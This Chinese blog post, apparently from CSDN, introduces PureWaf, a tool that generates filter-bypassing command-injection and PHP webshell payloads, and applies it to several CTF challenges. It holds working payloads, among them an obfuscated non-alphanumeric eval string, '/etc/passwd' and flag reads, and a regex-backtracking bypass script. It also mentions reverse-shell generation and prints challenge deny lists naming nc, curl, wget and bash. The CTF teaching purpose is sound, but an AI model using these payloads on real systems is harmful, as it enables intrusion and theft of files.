从几道CTF例题来看如何使用PureWaf?

从几道CTF例题来看如何使用PureWaf?

项目地址:PureStream108/PureWaf: 旨在解决CTF中遇到的命令Waf

在这里插入图片描述
该项目仅用于教育和学习环节(比如说CTF),不得应用于其他任何恶意目的。
如果该项目出现任何错误或您有任何建议,欢迎在 issues 中提出。
如果对您有用的话欢迎点个star!

快速开始

pip install PureWaf

from PureWaf import purewaf

print(purewaf(waf_regex="/[A-Za-z0-9]/"))

一些小开关

waf_words

接收被过滤的字符串,格式为: waf|star|system,以 | 作为分割。

waf_chars

接收被过滤的字符,格式为:#$%!,不用分割。

waf_regex

接收正则表达式,格式为: /flag|waf|system|\\|(|)/,适用于字符串和字符混合的 waf,用 /../ 包裹。

limit_length

默认为 999999 ,题目没有限制的情况下不用填写。

flagfile

题目Flag的文件命,默认为 /flag,正常情况下不用更改。

read_env

默认为 False(关闭),开启后就会输出读取环境变量的 payload,以应对 FLAG 放在环境变量的情况。

reflect_shell & port & ip

反弹shell功能开关,默认为 False(关闭),开启后输入 port 和 ip 两个参数就会自动输出反弹shell的 payload。

phpinfo

默认为 False(关闭),开启后会输出能读取 phpinfo 相关的 payload,建议配合 phpv 使用。

log_level

日志查看功能,默认为 “INFO”,也可以设置为 “DEBUG” 和 “QUIET”,对应不同等级的提示。

total_payload

默认为 False(关闭),开启后会输出全部 pass 的 payload(默认只输出)。

phpv

php版本,默认为7.0,针对不同php版本的题目环境,你可以自行设置 phpv,以便 PureWaf 将已经不适用的 payload 给剔除。

upload

默认为 False(关闭),开启后会生成由 <?php 等包裹后的 payload,适用于部分上传文件场景,可结合 phpv 使用

一些例题

CISCN 2024 simple_php

ctf.show

ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}


show_source(__FILE__);
?>

直接提取题中Waf:

/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/

然后直接输入到PureWaf中:(这里的需要增加 r,不然 \* 会报 SyntaxWarning )

import PureWaf

w = PureWaf.purewaf( waf_regex=r"/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i",
flagfile="/etc/passwd"
)

print(w)


# [+] Shortest Root Payload : diff / /tmp
# [+] Shortest Flag Payload : rev /etc/passwd

[红明谷CTF 2021]write_shell

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

依旧是:

import PureWaf

w = PureWaf.purewaf(
    waf_regex=r"/'| |_|php|;|~|\\^|\\+|eval|{|}/i",
    upload=True
)

print(w)

但是这次增加一个 upload 的参数,用于适配上传环境的 payload

结果如下:

[*] Generating payloads for Root Directory...
[========================] 960/960 passed:336

[*] Generating payloads for Flag File...
[========================] 5067/5067 passed:812

----------------------------------------
[+] Shortest Root Payload : <?=`ls</`?>
[+] Shortest Flag Payload : <?=`nl</flag`?>
----------------------------------------

MoeCTF2025 这是…Webshell?

<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
    $shell = $_GET['shell'];
    if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
        eval($shell);
    } else {
        echo "Hacker!";
    }
}
?>

直接将 Waf 输入

----------------------------------------
[+] Shortest Root Payload : N/A
[+] Shortest Flag Payload : $__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___=眰;$____.=~($___[$_]);$___=和;$____.=~($___[$__]);$___=和;$____.=~($___[$__]);$___=的;$____.=~($___[$_]);$___=半;$____.=~($___[$_]);$___=始;$____.=~($___[$__]);$_____='_';$___=俯;$_____.=~($___[$__]);$___=眰;$_____.=~($___[$__]);$___=次;$_____.=~($___[$_]);$___=站;$_____.=~($___[$_]);$_=$$_____;$____($_[$__]);
----------------------------------------

TIPS: POST: 2=system('id');

会生成一个 TIPS,以提示 payload 后续该如何使用(不过记得自增类型的需要URL编码后使用)

middlerce | NSSCTF

[NISACTF 2022]middlerce | NSSCTF

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>

直接将 Waf 套入 PureWaf:

import PureWaf

w = PureWaf.purewaf(
    waf_regex=r"/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m",
)

print(w)

虽然最后输出N/A,但不同的是,会生成 Example 以提示可以利用的方法:

----------------------------------------
[+] Shortest Root Payload : N/A
[+] Shortest Flag Payload : N/A
----------------------------------------

Example:

import requests

url = ""
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

N/A

欢迎 Contribute!

欢迎在 issues 中提供 PureWaf 无法解出的题目并附带对应的wp!

供题者的 ID 将会出现在下一版本的 release中!

PS

虽然现在只停留在一些基础题目上,然后近几年的相关的题目也比较少,但未来将会适配更多题型和增加更多bypass方法!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值